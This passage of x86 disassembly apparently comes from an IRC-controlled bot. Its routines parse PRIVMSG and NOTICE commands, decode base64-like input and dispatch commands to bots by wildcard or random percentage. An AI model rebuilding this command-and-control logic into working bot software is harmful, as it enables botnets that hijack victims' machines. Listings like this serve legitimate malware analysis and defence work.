		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EE18
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EE18
		push	[ebp+var_90]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]


loc_40E3E0:				; DATA XREF: cAddress:off_419BA4o
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EE18
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EE18
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: cAddress:0040C9E4p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41E97C, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41E97C, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DA38[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DA38[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: cAddress:00416ABAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: cAddress:004168D5p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41E980[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41E980[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E980[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41E980[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


